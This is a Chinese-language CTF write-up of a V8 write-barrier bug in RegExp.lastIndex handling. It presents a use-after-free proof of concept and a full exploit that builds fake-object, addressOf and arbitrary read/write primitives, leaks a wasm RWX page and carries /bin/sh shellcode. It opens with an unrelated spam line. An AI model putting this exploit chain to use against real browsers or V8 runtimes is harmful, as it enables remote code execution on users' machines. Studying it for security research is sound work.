各地网站备案,wordpress 字段引入,杭州市公共资源交易中心,手机号码定位网站开发文章目录 环境搭建漏洞分析漏洞利用漏洞触发链RCE原语构造 总结参考 环境搭建
嗯#xff0c;这里不知道是不是环境搭建的有问题#xff0c;笔者最后成功的实现了任意地址读写#xff0c;但是任意读写的存在限制#xff0c;任意写 wasm 的 RWX 区域时会直接报错#xff0c… 文章目录 环境搭建漏洞分析漏洞利用漏洞触发链RCE原语构造 总结参考 环境搭建
嗯这里不知道是不是环境搭建的有问题笔者最后成功的实现了任意地址读写但是任意读写的存在限制任意写 wasm 的 RWX 区域时会直接报错然后任意读存在次数限制。
sudo apt install python
git reset --hard e1e92f8ba77145568e781b47b31ad82535e868bf
export DEPOT_TOOLS_UPDATE0
gclient sync -D// debug version
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug// release debug
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release漏洞分析
patch 如下
diff --git a/src/regexp/regexp-utils.cc b/src/regexp/regexp-utils.cc
index dabe5ee..b260071 100644
--- a/src/regexp/regexp-utils.ccb/src/regexp/regexp-utils.cc-49,7 49,8 HandleObject value_as_object isolate-factory()-NewNumberFromInt64(value);if (HasInitialRegExpMap(isolate, *recv)) {
- JSRegExp::cast(*recv).set_last_index(*value_as_object, SKIP_WRITE_BARRIER);JSRegExp::cast(*recv).set_last_index(*value_as_object,UPDATE_WRITE_BARRIER);return recv;} else {return Object::SetProperty(可以看到这里仅仅将 SKIP_WRITE_BARRIER 替换成了 UPDATE_WRITE_BARRIER。原来的 SKIP_WRITE_BARRIER 标志会跳过写屏障处理这里与 GC 有关具体可以自行谷歌或百度当然大概原理可以参考后面的参考文章。
简单来说考虑如下漏洞场景
对象 X 在 new space 中对象 Y 在 old space 中而对象 X 仅仅由对象 Y 引用且对象 X 并不是全局的那么如果此时触发 minor_gc则对象 X 并不会被遍历 mark所以此时会将 minor_gc 清除释放而对象 Y 还保存着对象 X 的引用所以如果此时操作对象 Y 中对对象 X 的引用则导致 UAF
那么为了避免上述漏洞场景发生V8 开发人员为 GC 引入了写屏障即在执行 object.filed other_object 时会将两者的引用关系添加到引用列表中所以在上述漏洞场景的第二步准备清除对象 X 时会发生其在引用列表中所以此时就不会清除释放对象 X从而避免了漏洞的产生。而这里的写屏障就是 UPDATE_WRITE_BARRIER 标志保障的当标志为 SKIP_WRITE_BARRIER时不会执行写屏障处理。
当然了仅仅是 SKIP_WRITE_BARRIER 其实问题不太大只要不产生对象引用即可。这里我们跟踪到上述漏洞函数
MaybeHandleObject RegExpUtils::SetLastIndex(Isolate* isolate,HandleJSReceiver recv,uint64_t value) {HandleObject value_as_object isolate-factory()-NewNumberFromInt64(value);if (HasInitialRegExpMap(isolate, *recv)) {JSRegExp::cast(*recv).set_last_index(*value_as_object, SKIP_WRITE_BARRIER);return recv;} else {return Object::SetProperty(isolate, recv, isolate-factory()-lastIndex_string(), value_as_object,StoreOrigin::kMaybeKeyed, Just(kThrowOnError));}
}该函数就是设置 RegExp.lastIndex而我们可以看到这里设置的类型为 Smi 或者 HeapNumber跟进 NewNumberFromInt64 函数
template typename Impl
template AllocationType allocation
HandleObject FactoryBaseImpl::NewNumberFromInt64(int64_t value) {if (value std::numeric_limitsint32_t::max() value std::numeric_limitsint32_t::min() Smi::IsValid(static_castint32_t(value))) {return handle(Smi::FromInt(static_castint32_t(value)), isolate());}return NewHeapNumberallocation(static_castdouble(value));
}可以看到当 value 在 [smi_min, smi_max] 范围内时返回的是一个 Smi 类型而当 value 不在该范围内时返回的是一个 HeapNumber 类型。
Smi 类型是不存在错误的因为其并不是在堆上另外分配的其会直接存储在 RegExp.lastIndex 字段中主要的问题就是 lastIndex 有可能是 HeapNumber 类型的其是堆上分配的对象所以这里存在 RegExp.lastIndex 对其的引用。
因此如果一开始 RegExp 在 old space而当程序执行到该函数时value 即重新设置的 lastIndex的范围不在 Smi 所表示的范围内那么此时就会在 new space 创建一个 HeapNumber 对象然后赋给 RegExp.lastIndex。那么这里就满足上面描述的漏洞场景了
RegExp 为 old space 的一个对象RegExp.lastIndex 为 new space 的一个对象在设置 RegExp.lastIndex 没有开启写屏障所以此时触发 minor_gc 会导致 RegExp.lastIndex 所指对象被释放
漏洞利用
漏洞触发链
首先需要考虑的就是如何执行到 SetLastIndex 函数的 if 分支
MaybeHandleObject RegExpUtils::SetLastIndex(Isolate* isolate,HandleJSReceiver recv,uint64_t value) {HandleObject value_as_object isolate-factory()-NewNumberFromInt64(value);if (HasInitialRegExpMap(isolate, *recv)) { // check JSRegExp::cast(*recv).set_last_index(*value_as_object, SKIP_WRITE_BARRIER); // targetreturn recv;} else {return Object::SetProperty(isolate, recv, isolate-factory()-lastIndex_string(), value_as_object,StoreOrigin::kMaybeKeyed, Just(kThrowOnError));}
}首先想要执行到 target则需要通过 HasInitialRegExpMap(isolate, *recv) 验证即 RegExp 对象的 map 是否发生改变。
然后往上引用查找可以发现在 SetAdvancedStringIndex 函数中调用了 SetLastIndex 这里其实还要其它逻辑也会调用到 SetLastIndex 函数但是难以利用 MaybeHandleObject RegExpUtils::SetAdvancedStringIndex(Isolate* isolate, HandleJSReceiver regexp, HandleString string,bool unicode) {HandleObject last_index_obj;// 获取 lastIndex 属性ASSIGN_RETURN_ON_EXCEPTION(isolate, last_index_obj,Object::GetProperty(isolate, regexp,isolate-factory()-lastIndex_string()),Object);// 得到 lastIndex 的值ASSIGN_RETURN_ON_EXCEPTION(isolate, last_index_obj,Object::ToLength(isolate, last_index_obj), Object);// last_index 为 old_lastIndex 的值const uint64_t last_index PositiveNumberToUint64(*last_index_obj);// new_last_index 为新的 lastIndex 的值即就是将 old_lastindex 1const uint64_t new_last_index AdvanceStringIndex(string, last_index, unicode);return SetLastIndex(isolate, regexp, new_last_index);
}uint64_t RegExpUtils::AdvanceStringIndex(HandleString string, uint64_t index, bool unicode) {DCHECK_LE(static_castdouble(index), kMaxSafeInteger);const uint64_t string_length static_castuint64_t(string-length());if (unicode index string_length) {const uint16_t first string-Get(static_castuint32_t(index));if (first 0xD800 first 0xDBFF index 1 string_length) {DCHECK_LT(index, std::numeric_limitsuint64_t::max());const uint16_t second string-Get(static_castuint32_t(index 1));if (second 0xDC00 second 0xDFFF) {return index 2;}}}return index 1;
}可以看到 SetAdvancedStringIndex 函数会将 lastIndex1然后在调用 SetLastIndex所以如果我们让 old_lastIndex smi_max那么当执行到 SetAdvancedStringIndex 函数时new_lastIndex old_lastIndx 1 smi_max 1此时进入 SetLastIndex 函数后就可以成功执行到 target
然后继续向上引用查找可以发现仅有 Runtime_RegExpReplaceRT 函数调用了 SetAdvancedStringIndex该函数在执行 replace 操作时被调用
// Slow path for:
// ES#sec-regexp.prototype-replace
// RegExp.prototype [ replace ] ( string, replaceValue )
RUNTIME_FUNCTION(Runtime_RegExpReplaceRT) {HandleScope scope(isolate);DCHECK_EQ(3, args.length());CONVERT_ARG_HANDLE_CHECKED(JSReceiver, recv, 0);CONVERT_ARG_HANDLE_CHECKED(String, string, 1);HandleObject replace_obj args.at(2); // 被替换对象Factory* factory isolate-factory();string String::Flatten(isolate, string); // 替换字符串// replace_obj 是否是回调函数const bool functional_replace replace_obj-IsCallable();HandleString replace;if (!functional_replace) {// 不是则转换为字符串存储在 repalce 中ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, replace,Object::ToString(isolate, replace_obj));}// Fast-path for unmodified JSRegExps (and non-functional replace).// JSRegExp 没有被修改查看IsUnmodifiedRegExp可以指的主要就是指exec属性没有被修改则进入快速路径if (RegExpUtils::IsUnmodifiedRegExp(isolate, recv)) {// We should never get here with functional replace because unmodified// regexp and functional replace should be fully handled in CSA code.CHECK(!functional_replace);HandleObject result;ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, result,RegExpReplace(isolate, HandleJSRegExp::cast(recv), string, replace));DCHECK(RegExpUtils::IsUnmodifiedRegExp(isolate, recv));return *result;}// 被替换字符串的长度const uint32_t length string-length();// 检查是否是全局匹配HandleObject global_obj;ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, global_obj,JSReceiver::GetProperty(isolate, recv, factory-global_string()));const bool global global_obj-BooleanValue(isolate);bool unicode false;if (global) { // 具有全局匹配标志g则会将 lastIndex 置为 0即从头开始匹配HandleObject unicode_obj;ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, unicode_obj,JSReceiver::GetProperty(isolate, recv, factory-unicode_string()));unicode unicode_obj-BooleanValue(isolate);RETURN_FAILURE_ON_EXCEPTION(isolate,RegExpUtils::SetLastIndex(isolate, recv, 0));}Zone zone(isolate-allocator(), ZONE_NAME);ZoneVectorHandleObject results(zone);// 开始匹配while (true) {HandleObject result;// 调用 re.exec 进行匹配替换处理ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, result, RegExpUtils::RegExpExec(isolate, recv, string,factory-undefined_value()));// 匹配失败则退出循环这里匹配失败的标志是返回 nullif (result-IsNull(isolate)) break;results.push_back(result);if (!global) break; // 不是全局匹配则匹配一次就返回HandleObject match_obj; // 获取 match_obj[0]ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, match_obj,Object::GetElement(isolate, result, 0));HandleString match; // 转换为字符串ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, match,Object::ToString(isolate, match_obj));// 如果 match-length() 0 则会调用到 SetAdvancedStringIndex 函数if (match-length() 0) {RETURN_FAILURE_ON_EXCEPTION(isolate, RegExpUtils::SetAdvancedStringIndex(isolate, recv, string, unicode));}}
......主要关注的功能点如下具体看注释
如果 re.exec 没有被修改过则直接走快速路径如果 re.exec 被修改了则走慢速路径 如果有设置全局匹配标志g则设置 lastIndex 0调用 re.exec 进行匹配 [一个 loop] 如果返回 null则 break如果没有设置全局匹配标志g则 break检查 re.exec 返回的对象字符串长度是否为 0 如果为 0则调用 SetAdvancedStringIndex
我们的目的就是调用 SetAdvancedStringIndex所以得绕过上述相关逻辑
修改 re.exec使得执行流走慢速路径设置全局匹配标志g防止提前 break在 re.exec 中再次修改 re.exec 使其返回 null从而防止无限循环
综上所述我们最后给出 poc
const {log} console;
const MAX_SMI 1073741823;
var roots new Array(0x30000);
var index 0;function major_gc() {new ArrayBuffer(0x7fe00000);
}function minor_gc() {for (let i 0; i 8; i) {roots[index] new ArrayBuffer(0x200000);}roots[index] new ArrayBuffer(8);
}var re RegExp(foo, g); // 全局对象 re, 设置全局匹配标志 g
RegExp.prototype.exec function() { return null; }; // 修改 RegExp 原型链上的 exec 函数re.exec function() {major_gc(); // 使 re 移动到 old spacenew Array(0x10); // 分配一个 tmp bufre.lastIndex MAX_SMI; // 设置 re.lastIndex SMI_MAXdelete re.exec; // 删除 re.execreturn []; // 返回 []
};
var str re[Symbol.replace](ooo, guys);minor_gc(); // minor_gc 释放 re.lastIndex 引用的对象
major_gc(); // 标记 re.lastIndex 对象为 livenew Array(0x40);%DebugPrint(re.lastIndex);
// 输出
// DebugPrint: 0x177a00002469: [Oddball] in ReadOnlySpace: #hole这里稍微解释一下 poc 的构造。我们最开始把 RegExp.prototype.exec 设置为了返回 null 的函数其主要就是为了防止无限循环。
当执行 re[Symbol.replace](ooo, guys); 时
会调用到 Runtime_RegExpReplaceRT 函数由于我们修改了 re.exec所以其会走慢速路径。而我们设置了 g 标志所以 re.lastIndex 被修改为 0然后调用 re.exec 进行匹配
re.exec function() {major_gc(); // 使 re 移动到 old spacenew Array(0x10); // 分配一个 tmp bufre.lastIndex MAX_SMI; // 设置 re.lastIndex SMI_MAXdelete re.exec; // 删除 re.execreturn []; // 返回 []
};re.exec 返回 []其不为 null所以不会 break。主要在 re.exec 中的操作此时 re 已经移动到了 old space 区re.lastIndex SMI_MAXre.exec 属性被删除了由于设置了 g 标志所以不会 break检查 re.exec 返回的字符串长度是否为 0这里返回的 其长度是为 0 的 通过长度为 0 检查从而调用 SetAdvancedStringIndex 在 SetAdvancedStringIndex 函数中 new_lastIndex old_lastIndex 1 SMI_MAX 1然后调用 SetLastIndex 在 SetLastIndex 中由于 re.exec 已经被删除了所以此时可以通过 HasInitialRegExpMap 检查。最后成功执行到漏洞逻辑 然后会继续循环匹配这时又会调用 re.exec但是在第一次调用 re.exec 时 re.exec 属性被删除了所以此时会到原型链上找最后执行的 re.exec 其实就是 RegExp.prototype.exec
RegExp.prototype.exec function() { return null; };re.exec 返回 null跳出循环然后执行后面的代码
RCE
这里主要利用到了 v8d8 的一个特性
引入指针压缩后特定对象低 4 字节固定 所以其实 HOLEY_DOUBLE_ELEMENTS FixedDoubleArray map 的低 4 字节是固定的考虑如下测试用例 4 种情况的输出分别是
DebugPrint: 0x16ac0004a4f1: [JSArray]- map: 0x16ac00203b41 Map(HOLEY_DOUBLE_ELEMENTS) [FastProperties]
-------------------------------------
DebugPrint: 0x15af0004a4f1: [JSArray]- map: 0x15af00203b41 Map(HOLEY_DOUBLE_ELEMENTS) [FastProperties]
-------------------------------------
DebugPrint: 0x10630004a4f1: [JSArray]- map: 0x106300203b41 Map(HOLEY_DOUBLE_ELEMENTS) [FastProperties]
-------------------------------------
DebugPrint: 0x53b0004a481: [JSArray]- map: 0x053b00203b41 Map(HOLEY_DOUBLE_ELEMENTS) [FastProperties]可以看到这里的 map 的低 4 字节是固定的 0x00203b41 这也说明了这种利用方式是针对特定版本环境的即 exp 不具备通用性 所以其实我们是没必要泄漏 map 的接下来就是去构造对象重叠 即我们申请一个特定大小的数组对象并在数组中布置好 map|propertieslen|element那么就有机会形成如上图的内存布局此时我们如果拿出 fake_obj re.lastIndex则 v8 会根据 map 将其解析为一个浮点数组对象。而我们可以通过 fake_array 去修改 fake_obj 的 length/element。 为什么是特定大小呢因为特定大小的数组对象其 map/element 每次分配都是固定的 原语构造
addressOf可以将 fake_obj 的 length 改大从而实现越界读然后就可以读取后面的 obj 地址 arb_read_heap这里主要是利用其来泄漏 RWX 区域的地址我们可以修改 fake_obj 的 element 为 wasm_instance offset 从而泄漏 rwx_addr arb_read/arb_write喷射大量 ArrayBuffer从而利用越界写修改 backing_store
exp 如下
const {log} console;
const MAX_SMI 1073741823;
var raw_buf new ArrayBuffer(8);
var d_buf new Float64Array(raw_buf);
var l_buf new BigUint64Array(raw_buf);
var roots new Array(0x30000);
var index 0;function l2d(val) {l_buf[0] val;return d_buf[0];
}function d2l(val) {d_buf[0] val;return l_buf[0];
}function hexx(str, val) {log(str: 0xval.toString(16));
}function decc(str, val) {log(str: val.toString());
}function major_gc() {new ArrayBuffer(0x7fe00000);
}function minor_gc() {for (let i 0; i 8; i) {roots[index] new ArrayBuffer(0x200000);}roots[index] new ArrayBuffer(8);
}var spray_chunk_arr new Array(1000);
function spray_chunk() {for (let i 0; i 200; i) {new ArrayBuffer(0x500);spray_chunk_arr[i] new ArrayBuffer(0x10);new ArrayBuffer(0x2024);}}var re RegExp(foo, g);
RegExp.prototype.exec function() { return null; };re.exec function() {major_gc();new Array(0x10);re.lastIndex MAX_SMI;delete re.exec;return [];
};
var str re[Symbol.replace](ooo, guys);minor_gc();
major_gc();var fake_obj re.lastIndex;//print(l2d(0x0000226900203b19n));
//print(l2d(0x0000800000342151n));/*
1.86926619662186e-310
6.95335597662764e-310
*/var fake_array [1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310];var addressOf_array [0x5f74, 0x5f74, fake_obj, fake_array];var spray_buf [];
for (let i 0; i 0x30; i) {spray_buf[i] new ArrayBuffer(0x2024);
}var addressOf_idx -1;
for (let i 0; i fake_obj.length; i) {let val d2l(fake_obj[i]);if (val 0xbee80000bee8n) {addressOf_idx i1;hexx(addressOf_idx, addressOf_idx);break;}
}if (addressOf_idx -1) {throw Failed to leak addressOf_idx;
}var backing_store -1;
var backing_store_idx -1;
for (let i 0; i fake_obj.length-2; i) {let val d2l(fake_obj[i]);if (val 0x2024n) {hexx([dump], val);hexx([dump], d2l(fake_obj[i1]));hexx([dump], d2l(fake_obj[i2]));fake_obj[i] l2d(0x200n);fake_obj[i1] l2d(0x200n);backing_store d2l(fake_obj[i2]);backing_store_idx i2;break;}
}if (backing_store_idx -1) {throw Failed to leak backing_store_idx;
}hexx(backing_store, backing_store);
hexx(backing_store_idx, backing_store_idx);
var victim_idx -1;
var dv;
for (let i 0; i 0x30; i) {if (spray_buf[i].byteLength 0x200) {log(construct evil dv successfully);fake_obj[backing_store_idx-1] l2d(0x2026n);fake_obj[backing_store_idx-2] l2d(0x2026n);dv new DataView(spray_buf[i]);victim_idx i;break;}
}if (victim_idx -1) {throw Failed to leak victim_idx;
}function addressOf(obj) {addressOf_array[2] obj;return (d2l(fake_obj[addressOf_idx]) 0xffffffffn);
}var self_idx -1;
for (let i 1; i 48; i2) {fake_array[i] l2d(0x800000000n);val d2l(fake_obj[0]);if (val ! 0x0000226900203b19n) {self_idx i;fake_array[i] 6.95335597662764e-310;break;}
}if (self_idx -1) {throw Failed to leak self_idx;
}
hexx(self_idx, self_idx);function arb_read_heap(off) {fake_array[self_idx] l2d((off-8n)|0x800000000n);let val d2l(fake_obj[0]);fake_array[self_idx] 6.95335597662764e-310;return val;
}function arb_write(addr, val) {fake_array[self_idx] 6.95335597662764e-310;fake_obj[backing_store_idx] l2d(addr);dv.setFloat64(0, l2d(val), true);
}function arb_read(addr) {
// print(arb_read 1);fake_array[self_idx] 6.95335597662764e-310;
// print(arb_read 2);fake_obj[backing_store_idx] l2d(addr);
// fake_obj[backing_store_idx1] l2d(addr);
// print(arb_read 3);return dv.getBigInt64(0, true);
}var wasm_code new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);var wasm_module new WebAssembly.Module(wasm_code);
var wasm_instance new WebAssembly.Instance(wasm_module, {});
var pwn wasm_instance.exports.main;
var wasm_instance_offset addressOf(wasm_instance);
hexx(wasm_instance_offset, wasm_instance_offset);var rwx_addr arb_read_heap(wasm_instance_offset0x60n);
hexx(rwx_addr, rwx_addr);var shellcode [0x2fbb485299583b6an,0x5368732f6e69622fn,0x050f5e5457525f54n
];/*
for (let i 0; i shellcode.length; i) {arb_write(rwx_addr, shellcode[i]);rwx_addr 8n;
}
*//*
for (let i 0; i 0x100; i) {log(i.toString(16) d2l(fake_obj[i]).toString(16));
}
*//*
//%DebugPrint(dv.buffer);
%DebugPrint(fake_obj);
var chunk_addr backing_store - 0x10n;
for (let i 0; i 50; i) {hexx(chunk_addr, chunk_addr);let prev_size arb_read(chunk_addr);let size arb_read(chunk_addr8n);hexx(size, size);hexx(prev_size, prev_size);if (size ! 0n (size%2n) 0n) {let prev_ptr chunk_addr - prev_size;
// hexx(prev_ptr, prev_ptr);let fd arb_read(prev_ptr0x10n);
// hexx(fd, fd);let bk arb_read(prev_ptr0x18n);
// hexx(fd, fd);if (((fd48)0xff00n) 0x7f00n) {hexx(fd, fd);break;} else if (((bk48)0xff00n) 0x7f00n) {hexx(bk, bk);break;}}size - ((size%2n)0n?0n:1n);chunk_addr size;
// print(-------------------------------------------------------);
}
*///pwn();//readline();总结
总的来说难度不大但是搞了好久主要就是环境存在问题最后的 exp 也打不通。然后对 GC 的了解也是浮于表面。
参考
https://d0ublew.github.io/writeups/osu-gaming-ctf-2024/pwn/osu-v8/index.html#osu-v8